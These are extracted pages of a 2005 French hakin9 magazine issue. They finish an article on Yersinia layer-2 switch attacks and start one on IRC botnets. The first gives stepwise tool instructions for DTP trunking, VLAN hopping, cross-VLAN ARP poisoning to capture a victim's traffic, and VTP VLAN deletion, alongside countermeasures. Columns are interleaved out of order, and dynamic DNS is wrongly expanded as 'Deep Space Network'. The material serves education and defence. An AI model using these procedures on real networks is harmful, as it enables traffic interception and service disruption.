Listing 10. Paquet ICMP Echo Request de Yersinia décodé à l'aide de Ethereal Ethernet II, Src: 66:66:66:66:66:66, Dst: ff:ff:ff:ff:ff:ff Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff) Source: 66:66:66:66:66:66 (66:66:66:66:66:66) Type: 802.1Q Virtual LAN (0x8100) 802.1q Virtual LAN 111. .... .... .... = Priority: 7 ...0 .... .... .... = CFI: 0 .... 0000 0001 0000 = ID: 16 Type: 802.1Q Virtual LAN (0x8100) 802.1q Virtual LAN 111. .... .... .... = Priority: 7 ...0 .... .... .... = CFI: 0 .... 0000 0000 0001 = ID: 1 Type: IP (0x0800) Internet Protocol, Src Addr: 10.0.0.1 (10.0.0.1), Dst Addr: 255.255.255.255 (255.255.255.255) Protocol: ICMP (0x01) Source: 10.0.0.1 (10.0.0.1) Destination: 255.255.255.255 (255.255.255.255) Internet Control Message Protocol Type: 8 (Echo (ping) request) Checksum: 0xb953 (correct) Identifier: 0x0042 Sequence number: 00:42 Data (8 bytes) 0000 59 45 52 53 49 4e 49 41 YERSINIA

agrégé et le type d'encapsulation exigé. Ensuite, un paquet DTP est envoyé toutes les 30 secondes. Yersinia implémente ce comportement comme un responsable de fil de la tâche. D'un autre côté, il est nécessaire de contrôler le statut de chaque périphérique afin de modifier votre statut en cas de besoin. Cette démarche est terminée au moyen d'une boucle recevant des paquets DTP. Après plusieurs vérifications, Yersinia change son statut DTP en fonction du périphérique.

seau, vous verrez les données DTP en 30 secondes environ. Vous pouvez également jeter un coup d'œil sur le statut du port DTP depuis la console de commutateur : votre port est Fa0/10 et le statut reste par défaut (voir le Listing 7).

Il est nécessaire de remplir les champs en bas de la fenêtre avec les valeurs par défaut en appuyant sur [d ]. Ensuite, [e] vous permettra de modifier le champ Neighbor-ID et de taper la valeur 666666666666. Afin de finir l'édi-

Faites attention

Regardez comment se passe une attaque effectuée sur un commutateur Catalyst 2950T avec IOS 12.1(22) EA3. Le périphérique est configuré pour avoir un nom d'hôte zipi et deux VLAN : Office (ports Fa0/10, Fa0/11, Fa0/12 et Fa0/13) et Internet (ports Fa0/20, Fa0/21, Fa0/22 et Fa0/23). Le domaine VTP a été changé en Yersinia. Tous les autres paramètres restent inchangés. Le Listing 6 présente le statut de VLAN avant l'attaque. En mode graphique de Yersinia, sélectionnez l'écran du protocole DTP. S'il y a un DTP dans votre ré-

Figure 9. Champs ajoutés par 802.1Q au cadre Ethernet_II Listing 11. Paramètres VLAN utilisés pour une attaque zipi# sh vlan VLAN Name Status Ports ---- ----------------------------- --------- ------------------------------1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4 Fa0/5, Fa0/6, Fa0/7, Fa0/8 Fa0/9, Fa0/14, Fa0/15, Fa0/16 Fa0/17, Fa0/18, Fa0/19, Fa0/24 Gi0/1, Gi0/2 100 Office active Fa0/10, Fa0/11, Fa0/12, Fa0/13 200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23

www.hakin9.org

hakin9 Nº 6/2005

31

Focus

Attaques

Afin d'utiliser 802.1Q, il est obligatoire d'établir une agrégation. Dans la section précédente, vous avez vu comment activer l'agrégation avec DTP et spécifier en plus que l'encapsulation doit être fait au moyen de 802.1Q. Supposez alors que le lien agrégé a été établi dans un port correspondant. Les attaques contre 802.1Q peuvent être divisées en deux classes : •

•

Figure 10. Plan du réseau pour 802.1Q tion, il est nécessaire d'appuyer sur [return]. À présent, passez à la fenêtre de l'attaque DTP à l'aide de [x] et sélectionnez l'attaque enabling trunking. Le statut du port DTP changera en TRUNKING et Neighbor address 1 contiendra votre identifiant (voir le Listing 8). Si, en plus, vous regardez les ports VLAN assignés, vous verrez que votre port Fa0/10 ne se trouve plus sur la liste VLAN (voir le Listing 9). Dans la fenêtre principale de Yersinia, vous verrez de nouveaux paquets ; les paquets créés par Yersinia ont Neighbor-ID 666666666666 (voir la Figure 8). Désormais, vous serez capable d'effectuer les attaques contre les protocoles 802.1Q et VTP. Ce qui est plus important, il sera possible de fonctionner comme n'importe quel commutateur valide, ce qui permet de renifler le trafic VLAN (depuis d'autres VLAN que celui auquel vous êtes connectés).

Contre-mesures

La seule contre mesure fiable contre les attaques DTP consiste à désactiver l'auto-agrégation via la commande : switchport mode access. L'administrateur est alors obligé d'activer l'agrégation manuellement (dans la configuration de commu-

32

hakin9 Nº 6/2005

tateur) pour configurer chaque nouvelle agrégation.

IEEE 802.1Q

Le protocole IEEE 802.1Q est une spécification publique. Il décrit le format utilisé par les paquets via les liens agrégés. Vu la nature ouverte de la spécification, ce standard est à présent accepté par la plupart des fabricants et il arrive souvent d'établir des agrégations entre les commutateurs de différents vendeurs. Ce n'est pas toutefois le seul standard. De nombreux fabricants ont leurs propres solutions. À titre d'exemple, Cisco se sert aussi de son propre protocole propriétaire ISL (InterSwitch Link). Lorsqu'un commutateur reçoit une trame, il ajoute une balise 802.1Q (4 octets), recalcule le FCS (Frame Check Sequence) et envoie le cadre original avec les modifications au lien agrégé. La Figure 9 présente les champs ajoutés par 802.1Q à la trame Ethernet_II. Le champ VID identifie le VLAN auquel appartient le paquet. Cette valeur d'identifiant peut avoir comme plage 0 à 4096. En théorie, si vous établissez un lien agrégé et si le commutateur supporte 802.1Q, vous pouvez alors envoyer des paquets aux VLAN différents.

www.hakin9.org

Envoi de trames 802.1Q aux VLAN qui n'appartiennent pas à l'attaquant, Utilisation des trames doublement empaquetées 802.1Q – ce type d'attaque ajoute deux balises à la trame originale dans le but d'utiliser le VLAN depuis la seconde balise comme la destination lorsque le commutateur supprime la première balise.

Faites attention

Essayez dans un premier temps d'envoyer des trames 802.1Q doublement empaquetées avec Yersinia. Vous remplissez les champs à l'écran 802.1Q avec des valeurs par défaut (touche [d ]) et vous passez en mode d'éditeur (touche [e]). Maintenant, modifiez la valeur Source MAC en 66:66:66:66:66:66, ensuite, modifiez la valeur VLAN en 16 et la valeur VLAN2 en 1. Finalement, quittez le mode d'éditeur ([return]). À présent, passez à la fenêtre d'attaque à l'aide de [x] et sélectionnez l'attaque sending 802.1Q double enc. packet. Yersinia se sert de 802.1Q pour envoyer les paquets ICMP Echo Request avec la charge utile (payload) YERSINIA. Le Listing 10 présente le paquet décodé à l'aide de Ethereal (certains champs ont été supprimés pour avoir plus de clarté). Vous pouvez voir que une trame 802 a été envoyée.1Q doublement empaquetée : tout d'abord, avec VLAN et ensuite, avec VLAN 1. Cette attaque démontre tout simplement qu'il est possible de placer le trafic dans d'autres VLAN (ce qui porte le nom de VLAN-hop-

Attaques de la couche deux du modèle OSI

Qu'est-ce qu'un domaine VTP ?

Le domaine VTP est une chaîne ASCII partagée par tous les commutateurs, appartenant au même groupe ou à la même unité. Cette chaîne se trouve dans tous les paquets VTP. Ce domaine se trouve en plus dans certains champs CDP ; même le domaine DTP est la même chaîne.

ping). Des attaques plus avancées peuvent toutefois être effectuées, telle que Man-in-the-Middle. Dans les versions futures de Yersinia, ces attaques pourront être implémentées. Pour effectuer la prochaine attaque, vous aurez besoin d'une configuration plus complexe. Supposez que vous disposez d'un commutateur appelé zipi avec IOS 12.1(22) EA3 et deux VLAN : Office (ports Fa0/10, Fa0/11, Fa0/ 12 et Fa0/13) et Internet (Fa0/20, Fa0/21, Fa0/22 et Fa0/23) (voir le Listing 11). Le domaine VTP a été modifié en Yersinia. Les autres variables de configuration sont laissées inchangées. La Figure 10 présente la structure du réseau. Le périphérique de l'intrus est connecté au VLAN 100 (Office) au port Fa0/10. Il y a un ordinateur équipé de Windows dont l'adresse IP

est la suivante 10.13.58.128 et qui est connecté au VLAN 200 (Internet). Comme vous pouvez le remarquer sur la Figure 10, les périphériques du VLAN Internet sont dotés d'un accès à Internet via un routeur dont l'adresse IP est la suivante 10.13.58.253 ; le VLAN Office n'a aucun accès à Internet. Vous essayez d'accéder au trafic de l'ordinateur, équipé de Windows, placé dans le VLAN Internet. Pour cette raison, vous allez opter pour l'attaque appelée sending 802.1Q arp poisoning. Bien évidemment, il est nécessaire dans un premier temps d'établir et de négocier un lien agrégé, comme décrit dans le chapitre précédent. Avant de commencer l'attaque, il est également nécessaire de vérifier que l'entrée ARP pour 10.13.58.253 (routeur Internet) dans la table ARP de Windows (10.13.58.128) est une vraie MAC adresse du routeur. À présent, sélectionnez l'écran 802.1Q. Vous verrez probablement des paquets dirigés vers des MAC adresses en diffusion ou multidiffusion. Ce type de paquets est envoyé à tous les ports appartenant au même VLAN (dans notre cas : 200, Internet VLAN) et, en plus, à tous les ports dont l'agrégation a été négociée (comme c'est le cas de votre port). Remplissez maintenant les champs avec les valeurs

par défaut et passez au mode édition afin de modifier Source MAC en 66:66:66:66:66:66. Ensuite, passez aux fenêtres d'attaque et sélectionnez l'attaque sending 802.1Q arp poisoning. Cette attaque nécessitera plusieurs paramètres ; vous verrez donc s'afficher une nouvelle boîte de dialogue dotée des champs suivants : •

•

•

IP to poison : c'est l'adresse IP que vous voulez remplacer ; dans votre cas, c'est : 10.13.58.253 (routeur Internet), IP VLAN : identifiant du VLAN auquel vous voulez envoyer des paquets, dans votre cas : 200 (VLAN Internet), ARP IP Source : cette adresse IP sera employée pour deviner la MAC adresse du routeur Internet ; l'adresse IP doit se trouver dans le même VLAN que IP to poison mais elle ne doit pas être signée ; utilisez 10.13.58.66.

Maintenant, il est possible d'effectuer l'attaque. Si tout se passe bien, vous verrez la MAC adresse 66:66:66:66:66:66 dans la table ARP de l'ordinateur équipé de Windows (10.13.58.128) et la fenêtre principale de Yersinia contiendra davantage de données (voir la Figure 11). Maintenant, essayez de comprendre ce que fait exactement Yersinia : •

•

il cherche la MAC adresse du routeur Internet au moyen de paquets ARP modifiés, une fois la MAC adresse du routeur Internet connue, on lance un fil qui envoie une ARP reply par seconde. Cette démarche empoisonnera la table ARP de Windows avec une MAC adresse fausse pour table l'adresse IP 10.13.58.253 (routeur Internet) : 66:66:66:66:66:66.

Yersinia peut à présent recevoir des données envoyées par l'ordinateur équipé de Windows (10.13.58.128) à Internet, ensuite, les récrire et les

Figure 11. Résultats d'attaque 802.1Q

www.hakin9.org

hakin9 Nº 6/2005

33

Focus

Figure 12. Structure d'un paquet VTP renvoyer à la source VLAN (Internet VLAN, ID 200) et les diriger à une vraie MAC adresse du routeur Internet (10.13.58.253). Maintenant, si vous voulez enregistrer les données du réseau, il suffit d'appuyer sur la touche [s]. Les données seront enregistrées au format pcap. Espérez que le propriétaire de l'ordinateur n'emploie pas des mots de passe non cryptés.

Contre-mesures

Les contre-mesures pour les attaques IEEE 802.1Q sont les mêmes que pour les attaques DTP. Il faut désactiver l'auto-agrégation.

•

•

Subset advertisement – SUBSET. Paquet de données avec des descriptions de VLAN, Join – JOIN.

Par défaut, un paquet VTP SUMMARY est envoyé toutes les 5 minutes. Si vous prenez en considération le fait que les attaques VTP nécessitent plusieurs données reçues de ce type de paquet, l'attaque peut durer un certain temps mais jamais plus de 5 minutes. Yersinia implémente plusieurs attaques VTP. Jetez un coup d'œil sur deux attaques principales : ajout d'un VLAN et suppression d'un VLAN. Afin d'effectuer ces attaques, il est nécessaire de réaliser ces étapes : •

Attaques

Bien que VTP permette d'utiliser des mots de passe, il n'est pas activé par défaut. Cependant, une fonction de hachage MD5 sera toujours présente dans un paquet SUMMARY. Cette fonction MD5 est calculée avec la configuration VLAN, le mot de passe (si les mots de passe sont utilisés) et d'autres champs.

•

• •

obtenir des données VTP utiles ; la meilleure façon de le faire consiste à attendre un paquet SUMMARY, envoyer un paquet REQUEST afin d'obtenir des VLAN courants, modifier les VLAN connus de l'étape précédente, envoyer la nouvelle configuration VLAN au moyen des paquets SUMMARY et SUBSET.

VTP (VLAN Trunking Protocol)

VTP est un protocole propriétaire de Cisco utilisé pour la gestion centralisée de VLAN. À titre d'exemple, si un VLAN est configuré dans un commutateur, les informations liées (nom et identifiant de VLAN) peuvent être configurées automatiquement dans tous les commutateurs appartenant au même domaine VTP (reportezvous à l'Encadré Qu'est-ce qu'un domaine VTP ?). Les paquets VTP sont envoyés à la MAC adresse en multi-diffusion 01:00:0C:CC:CC:CC avec une trame IEEE 802.3, y compris un en-tête 802.2 SNAP (voir la Figure 12). Il existe quatre types des paquets VTP : •

•

34

Summary advertisement – SUMMARY. Similaire à Hello. Il est envoyé toutes les 5 minutes, Advertisement request – REQUEST. Utilisé pour demander de l'information,

hakin9 Nº 6/2005

Figure 13. Résultats de l'attaque VTP Listing 12. Attaque réussie de suppression de VLAN zipi# sh vlan VLAN Name Status Ports ---- ----------------------------- --------- ------------------------------1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4 Fa0/5, Fa0/6, Fa0/7, Fa0/8 Fa0/9, Fa0/14, Fa0/15, Fa0/16 Fa0/17, Fa0/18, Fa0/19, Fa0/24 Gi0/1, Gi0/2 100 Office active Fa0/10, Fa0/11, Fa0/12, Fa0/13

www.hakin9.org

Attaques de la couche deux du modèle OSI

À propos des auteurs

Alfredo Andrés travaille depuis plusieurs années dans le domaine de la sécurité et participe à la communauté Open Source en développant des outils et des correctifs. Alfredo travaille également pour S21sec ; il y est chargé d'un groupe de pen-testing. David Barroso se spécialise dans les incidents de réponses et dans la sécurité de réseau. Il travaille actuellement pour une société espagnole de sécurité, S21sec. Il participe aussi activement à la communauté globale de sécurité, il écrit des articles et développe de nouveaux outils de sécurité. Les deux auteurs ont présenté Yersinia pendant BlackHat Europe 2005. Une attaque zéro-jour de Cisco (zero-day) y a été également présentée ; elle est liée à un des protocoles ciblés par Yersinia (Cisco a été bien évidemment remarqué) et a été découverte lors du développement de l'outil.

Faites attention

La configuration de l'exemple d'attaque est la même que dans le

chapitre précédent : deux VLAN : Office (ID 100) et Internet (ID 200). L'objectif principal de l'attaque con-

Sur Internet • •

http://yersinia.sourceforge.net/ – site officiel de Yersinia, http://www.blackhat.com/presentations/bh-usa-02/bh-us-02-converyswitches.pdf – présentation de Sean Convery concernant les attaques de la couche deux.

Spanning Tree Protocol • • • • • •

http://www.javvin.com/protocolSTP.html – concerne Spanning Tree Protocol, http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid61 – format de paquet de BPDU, http://www.cisco.com/warp/public/473/146.html – article Understanding Rapid Spanning Tree Protocol (802.1w), http://www.cisco.com/warp/public/473/17.html – article Understanding SpanningTree Protocol Topology Changes, http://www.cisco.com/warp/public/473/65.html – article sur Spanning Tree Portfast BPDU Guard Enhancement, http://www.cisco.com/warp/public/473/74.html – article sur Spanning Tree Protocol Root Guard Enhancement.

Cisco Discovery Protocol • •

http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid12 – format de paquet CDP, http://www.phenoelit.de/stuff/CiscoCDP.txt – conseils de Phenoelit sur les vulnérabilités de IOS CDP.

Dynamic Trunking Protocol •

http://www.netcraftsmen.net/welcher/papers/switchvtp.html – article Switching: Trunks and Dynamic Trunking Protocol (DTP).

IEEE 802.1Q •

http://standards.ieee.org/getieee802/download/802.1Q-2003.pdf – standard IEEE 802.1Q au format PDF.

VLAN Trunking Protocol •

http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid31 – format de trame VTP.

www.hakin9.org

siste à supprimer le VLAN Internet (ID 200). Yersinia se trouve dans le port Fa0/13. Passez à présent à l'écran VTP, remplissez les champs avec des valeurs par défaut et effectuez l'attaque deleting one vlan. Yersinia demandera l'identifiant VLAN à supprimer. Dans votre cas, l'identifiant est 200. Dans plusieurs minutes, la fenêtre principale de Yersinia ressemblera à celle que vous voyez dans la Figure 13. Si l'attaque réussit, vous ne pourrez plus voir VLAN 200 dans la console du commutateur (voir le Listing 12). Les conséquences de la suppression d'un VLAN peuvent être variées. Les tests démontrent que tous les périphériques connectés au port appartenant au VLAN supprimé sont déconnectés. On vous encourage à effectuer l'expérience suivante. Essayez de configurer l'ordinateur pour qu'il ping un hôte dans le même VLAN (par exemple, une passerelle par défaut). Ensuite, supprimez ce VLAN. Vous remarquerez que le ping ne reçoit aucun paquet de réponse. Cependant, si vous rajoutez le VLAN (en utilisant, bien évidemment, Yersinia), le ping recommencera à fonctionner.

Contre-mesures

La contre-mesure la plus efficace consiste à désactiver l'auto-agrégation, comme dans deux chapitres précédents. Dans le cas présent, vous pouvez toutefois employer aussi un mot de passe VTP pour protéger votre réseau contre ce type d'attaques.

Conclusion

Vous avez jeté un coup d'œil sur plusieurs protocoles de la couche deux et sur la majorité des attaques courantes. Les exemples démontrent clairement que la couche deux peut se trouver à l'origine des problèmes sérieux si vous ne tenez pas compte des risques lors de la configuration de votre réseau. La plupart des protocoles sont vulnérables : réservez-lui une attention toute particulière quand vous les gérez et administrez. l

hakin9 Nº 6/2005

35

Pratique

La guerre des robots, ou comment fonctionnent les réseaux d'ordinateurs zombies Massimiliano Romano, Simone Rosignoli, Ennio Giannini

Degré de difficulté

Une des techniques les plus répandues et les plus efficaces des attaques dites DDoS consiste à utiliser des centaines d'ordinateurs zombies hôtes, contrôlés et gérés via des réseaux IRC. Le présent article a pour objectif de présenter les méthodes qu'un pirate peut utiliser afin de contaminer et de prendre le contrôle d'un ordinateur cible, puis de déterminer comment appliquer des contre-mesures efficaces afin de protéger vos ordinateurs de cette menace.

L

a fin des années 90 et ce nouveau millénaire ont vu naître une nouvelle stratégie d'attaques dirigées contre les systèmes en réseaux. Cette stratégie est mieux connue sous le nom de Distributed Denial of Services (DDoS). De nombreuses sociétés informatiques ont malheureusement fait l'expérience de ces attaques, qui se répandent facilement, principalement grâce à leur simplicité de conception et à la difficulté de pister les parties impliquées. Ce type d'attaques, malgré l'étendue de vos expériences et de vos connaissances, représente encore aujourd'hui une réelle menace, et donne toujours l'avantage aux pirates. Vous allez étudier de plus près ces attaques et le fruit de leur évolution : les attaques par réseaux de zombies.

Introduction aux robots et aux réseaux d'ordinateurs zombies

hakin9 Nº 6/2005

Cet article explique... • • • •

La nature des robots, des réseaux de zombies et leur fonctionnement, les fonctionnalités les plus utilisées proposées par les robots, la façon dont un hôte est contaminé puis contrôlé, les mesures préventives disponibles et les protections possibles contre les infestations par robot.

Ce qu'il faut savoir... •

Le terme anglais bot est une abréviation du mot robot. Les robots (programmes automatisés, qui n'ont rien avoir avec les robots comme Marvin, l'androïde paranoïaque) sont en règle

36

générale utilisés dans le domaine d'Internet. Les Spiders, utilisés par les moteurs de recherche afin de mapper les sites Web et les logiciels répondant aux requêtes sur le protocole IRC (tels que eggdrop) sont des robots.

• •

www.hakin9.org

Le fonctionnement des programmes malveillants (chevaux de Troie et vers, plus particulièrement), les mécanismes utilisés par les attaques DDoS, les bases relatives aux protocoles TCP/IP, DNS et IRC.

Guerre des robots

Protocole IRC (Internet Relay Chat)

IRC est l'acronyme d'un nom anglais Internet Relay Chat. Il s'agit d'un protocole conçu pour les communications de chat en temps réel par relais Internet (consulter la référence RFC 1459, mise à jour RFC 2810, 2811, 2812, 2813), basé sur une architecture client-serveur. La grande majorité des serveurs IRC permet un accès libre à tout un chacun. L' IRC est un protocole de réseau ouvert basé lui-même sur le protocole TCP (Transmission Control Protocol), et parfois amélioré au moyen du protocole SSL (Secure Sockets Layer). Un serveur IRC se connecte à d'autres serveurs IRC au sein du même réseau. Les utilisateurs de ce protocole IRC peuvent à la fois communiquer en public (sur les canaux du même nom) ou en privé (communication un à un). Il existe deux niveaux de base d'accès aux canaux IRC : utilisateurs et opérateurs. Un utilisateur qui va créer un canal devient son opérateur. Un opérateur dispose de plus de privilèges (selon les modes déterminés par l'opérateur initial) qu'un utilisateur normal. Les robots IRC sont traités à l'instar d'utilisateurs réguliers (ou opérateurs). Il s'agit de processus démons, capables d'exécuter un certain nombre d'opérations automatisées. Ces robots sont en règle générale contrôlés par l'envoi de commandes vers un canal créé par un pirate, infesté de robots. Bien évidemment, il faut, pour administrer des robots, une authentification ainsi qu'une autorisation, de sorte que seul le propriétaire puisse les utiliser.

Les programmes qui répondent de manière autonome à des évènements externes particuliers sont également des robots. Le présent article a pour objectif de décrire un genre particulier de robot, ou bot en anglais, dénommé robot IRC. Ce robot a recours à des réseaux IRC en tant que canal de communication afin de recevoir les commandes provenant d'un utilisateur distant. Dans ce cas

de figure particulier, il se trouve que l'utilisateur est un pirate et le robot en question un cheval de Troie. Un bon programmeur peut facilement créer son propre robot, ou personnaliser un robot déjà existant. Ce qui lui permettra de dissimuler son robot aux systèmes de sécurité basiques, et le répandre facilement. De tels robots présentent une fonctionnalité importante, à savoir

Les attaques distribuées DoS ou attaques DDoS

Une attaque DDoS est une variante d'attaque dite Flooding DoS ou inondation par DoS ; cette attaque a pour objectif de saturer un réseau cible, en utilisant toute la largeur de bande passante disponible. Cela étant dit, et en supposant qu'une personne malveillante dispose d'une largeur de bande considérable et disponible afin de saturer le site ciblé, il est évident que la meilleure façon de lancer ce genre d'attaque consiste à contrôler de nombreux hôtes différents. En effet, chaque hôte introduit sa propre largeur de bande (par exemple les utilisateurs de PC en ADSL), que les pirates utilisent en une seule fois, distribuant de la sorte l'attaque sur le site visé. Une des attaques les plus répandues, réalisée au moyen du protocole TCP (protocole de connexion orientée), est appelée attaque par inondation de requêtes syn sur TCP (TCP syn flooding). Celle-ci consiste à envoyer un grand nombre de requêtes de connexions TCP vers le même serveur Web (ou vers tout autre type de service), afin de surcharger les ressources du serveur en question et donc de créer une situation de saturation, qui empêche les autres utilisateurs d'ouvrir leur propre connexion. C'est d'une simplicité redoutablement efficace ! Il est possible de réaliser le même type d'attaque au moyen du protocole UDP (protocole sans connexion). Des pirates ont passé un temps considérable et consacré tous leurs efforts à améliorer de telles attaques. C'est la raison pour laquelle aujourd'hui, vous devez faire face à des techniques de plus en plus sophistiquées, différentes des attaques DDoS traditionnelles. Ces attaques d'un nouveau genre permettent aux utilisateurs malveillants de contrôler un grand nombre d'ordinateurs hôtes dits zombies à partir d'un poste de travail à distance, en ayant recours, par exemple, au protocole IRC.

www.hakin9.org

leur capacité à contaminer rapidement les autres ordinateurs. Une planification détaillée des processus d'infection permet d'atteindre de meilleurs résultats en un temps record (plus d'hôtes fragilisés). Un nombre n de robots connectés sur un seul et unique canal dans l'attente de commandes constitue un réseau de zombies. Récemment, les réseaux de zombies étaient contrôlés grâce à l'utilisation d'outils appropriés, développés intentionnellement par les pirates eux-mêmes. Puis l'expérience a conduit à mener de nouveaux essais au moyen de méthodes de contrôle à distance. Le protocole IRC est ainsi considéré comme la meilleure façon de lancer des attaques, en raison de sa flexibilité, de son utilisation facile et surtout parce que les serveurs publics peuvent être utilisés comme un moyen de communication (voir la partie intitulée protocole IRC). Le protocole IRC propose une méthode simple permettant de contrôler des centaines, voire même des milliers, de robots en une seule fois de façon extrêmement flexible. Ce protocole permet également aux pirates de dissimuler leur identité au moyen de pièges relativement simples comme la mystification de serveurs mandataires anonymes ou de simples adresses IP. Grâce à ce protocole, les administrateurs de serveurs ont peu de chance de remonter à l'origine d'une attaque contrôlée de cette manière. Dans la plupart des cas, les robots contaminent les PC à utilisateur unique, les serveurs d'université ou les réseaux de petites sociétés, car ces machines ne font pas l'objet d'un contrôle strict, et sont souvent laissées sans protection, en partie par manque de véritable politique de sécurité, ou généralement par absence de sensibilisation auprès des utilisateurs de PC avec connexion ADSL des risques qu'ils encourent, et par manque d'utilisation de logiciels de protection tels que des anti-virus ou des pare-feux personnels.

hakin9 Nº 6/2005

37

Pratique

Tableau 1. Liste des ports associés à des services vulnérables Port

Service

42

WINS (Serveur de Noms de Domaine)

80

HTTP (vulnérabilité IIS ou Apache)

135

RPC (Remote Procedure Call ou Appel de Procédure à distance)

137

Service de nom NetBIOS

139

Service de session NetBIOS

Figure 1. Structure d'un réseau classique d'ordinateurs zombies

445

Service de Microsoft-DS

Les robots et leurs applications

1025

Windows Messenger

1433

Serveur Microsoft-SQL

2745

Porte dérobée pour le ver Bagle

3127

Porte dérobée pour le ver MyDoom

3306

MySQL UDF (User Definable Functions ou Fonctions Définissables par l'Utilisateur)

5000

UPnP (Universal Plug and Play)

Les utilisations possibles d'un hôte fragilisé ne dépendent ensuite que de l'imagination et des compétences du pirate. On va aborder ici les plus répandues.

Attaques DDoS

Les réseaux de zombies sont souvent utilisés pour les attaques dites Distributed Denial of Service (ou attaques distribuées par Déni de Service). Un pirate a la possibilité de contrôler un nombre considérable d'hôtes compromis à partir d'un poste de travail distant, en exploitant leur largeur de bande passante et en envoyant des requêtes de connexion vers l'hôte cible. De nombreux réseaux ont été affectés par de telles attaques, et dans certains cas de figure, les coupables

ont pu être retrouvés dans des sociétés concurrentes (comme ce fut le cas lors de la guerre des sociétés dotcom).

Spamming ou multipostage abusif

Les réseaux de zombies représentent le moyen idéal pour le multipostage abusif. Ils pourraient être utilisés, et le sont, à la fois pour échanger des adresses e-mail regroupées et pour contrôler les envois de spams de la même manière que les attaques de type DDoS. Un unique message spam pourrait être envoyé sur le réseau d'hôtes infectés puis distribué à travers tous les robots, qui envoient à leur tour le message non désiré. La personne à l'origine de ce multipostage abusif demeure bien sûr anonyme et la faute retombe sur les ordinateurs infectés.

Aspiration de mot de passe et espion de clavier

Les robots peuvent également être utilisés de manière efficace dans le but d'améliorer l'ancienne technique dite de l'aspiration de mot de passe. L'observation des données du trafic peut conduire à détecter une quantité incroyable d'informations, comprenant les habitudes des utilisateurs, les données utiles des paquets TCP susceptibles de contenir des informations dignes d'intérêt (telles que les mots de passe), etc. Ce même procédé est valable pour les espions de clavier, technique consistant à capturer l'ensemble des informations tapées sur le clavier par un utilisateur (adresses e-mails, mots de passe, données bancaires personnelles, informations sur les comptes PayPal, etc.).

Vol d'identité

Les méthodes mentionnées plus haut permettent aux pirates de

Figure 2. Durcissement du réseau d'ordinateurs zombies

38

hakin9 Nº 6/2005

www.hakin9.org

Guerre des robots

Services DNS Dynamiques

Un DSN (Deep Space Network ou Réseau de l'Espace Lointain) dynamique (RFC 2136) est un système chargé de lier le nom d'un domaine à une adresse IP dynamique. Les utilisateurs qui se connectent à Internet via des modems, l'ADSL ou un câble, ne possèdent généralement pas d'adresse IP fixe. Lorsqu'un tel utilisateur se connecte à Internet, le fournisseur d'accès Internet attribue une adresse IP inutilisée choisie à partir d'un pool sélectionné. Cette adresse est généralement maintenue le temps de cette connexion spécifique. Ce mécanisme permet aux fournisseurs d'accès Internet de maximiser l'utilisation de pool IP disponible, mais pénalise les utilisateurs qui ont besoin de certains services disponibles sur Internet de manière permanente, mais ne peuvent pas se payer une adresse IP statique. Afin de résoudre ce problème, les services DSN dynamiques ont été créés. Les fournisseurs proposant de tels services utilisent un programme particulier, chargé d'informer la base de données DSN à chaque modification d'utilisateurs d'une adresse IP.

contrôler un réseau de zombies de manière à collecter une quantité incroyable d'informations personnelles. De telles données peuvent ensuite être utilisées pour constituer de fausses identités, afin d'obtenir un accès à des comptes personnels ou de réaliser diverses opérations malveillantes (y compris d'autres attaques) en faisant accuser quelqu'un d'autre.

Hébergement de logiciels illégaux

Enfin, les ordinateurs contaminés par robots peuvent être utilisés sous forme de référentiels dynamiques de matériel illégal (logiciels piratés, pornographie, etc.). Les données sont

stockées sur le disque d'un utilisateur ADSL sans qu'il soit au courant de tels agissements. Vous pourriez passer des heures à évoquer les possibles applications des réseaux d'ordinateurs zombies (par exemple paiement par abus de clic, hameçonnage ou phishing, piratage des connexions HTTP/HTTPS, etc.). Les robots, pris seuls, ne sont rien d'autre que des outils, facilement adaptables à chaque tâche nécessitant un grand nombre d'hôtes sous un contrôle unique.

Les différents types de robots

De nombreux types de robots prêts à l'emploi sont téléchargeables

à partir d'Internet. Chacun dispose de ses propres fonctionnalités particulières. On va évoquer ici les robots les plus utilisés, en soulignant leurs fonctionnalités et leurs spécificités.

Robot GT

Tous les robots de type GT (Global Threat ou Menace globale) reposent sur le très populaire client IRC pour Windows appelé mIRC. Le noyau de ces robots est composé d'un ensemble de scripts mIRC, utilisés pour contrôler l'activité d'un système à distance. Ce type de robots se charge de lancer une instance du client qui a été améliorée au moyen de scripts de contrôles et a recours à une seconde application, le plus souvent HideWindow, afin de dissimuler mIRC à l'utilisateur de l'ordinateur hôte. Un fichier supplémentaire DLL vient ajouter de nouvelles fonctionnalités au client mIRC afin de permettre aux scripts d'influencer divers aspects de l'hôte contrôlé.

Agobot

Agobot est probablement le robot le plus utilisé par les pirates. Il est écrit en C++ et a été distribué sous une licence GPL. L'aspect le plus intéressant d'Agobot est sans conteste son code source. Extrêmement modulaire, il permet d'ajouter de nouvelles fonctions très facilement. Agobot propose de nombreux mécanismes permettant de dissimuler sa présence sur l'ordinateur hôte. Parmi ces mécanismes, on peut citer : NTFS Alternate Data Stream, Antivirus Killer ainsi que le moteur Polymorphic Encryptor Engine. Agobot propose une aspiration de trafic et un classement des fonctionnalités. Des protocoles autres que l'IRC peuvent également être utilisés pour contrôler ce robot.

DSNX

Figure 3. Interface de configuration d'Agobot

www.hakin9.org

Le robot Dataspy Network X est lui aussi écrit en C++ et son code source est également disponible sous la licence GPL. Il est très facile d'ajouter de nouvelles fonctionnalités

hakin9 Nº 6/2005

39

Pratique

à ce robot, grâce à son architecture simple basée sur les plugins.

SDBot

SDBot est écrit en langage C et est également disponible sous la licence GPL. Contrairement à Agobot, son code source n'est pas très clair et le logiciel lui-même ne propose qu'un ensemble très limité de fonctionnalités. Néanmoins, il s'agit d'un robot très utilisé qui se décline en différentes variantes.

Eléments constitutifs d'une attaque

Vous trouverez dans la Figure 1 la structure traditionnelle d'un réseau d'ordinateurs zombies : •

•

•

Le pirate commence par répandre un cheval de Troie, chargé d'infecter divers hôtes. Ces hôtes deviennent des zombies puis se connectent au serveur IRC afin d'écouter plus de commandes, Le serveur IRC peut soit être une machine publique présente dans l'un des réseaux IRC, soit un serveur particulier installé par le pirate sur l'un des hôtes infectés, Les robots s'exécutent sur les ordinateurs infectés, afin de former un réseau d'ordinateurs zombies.

Exemple concret

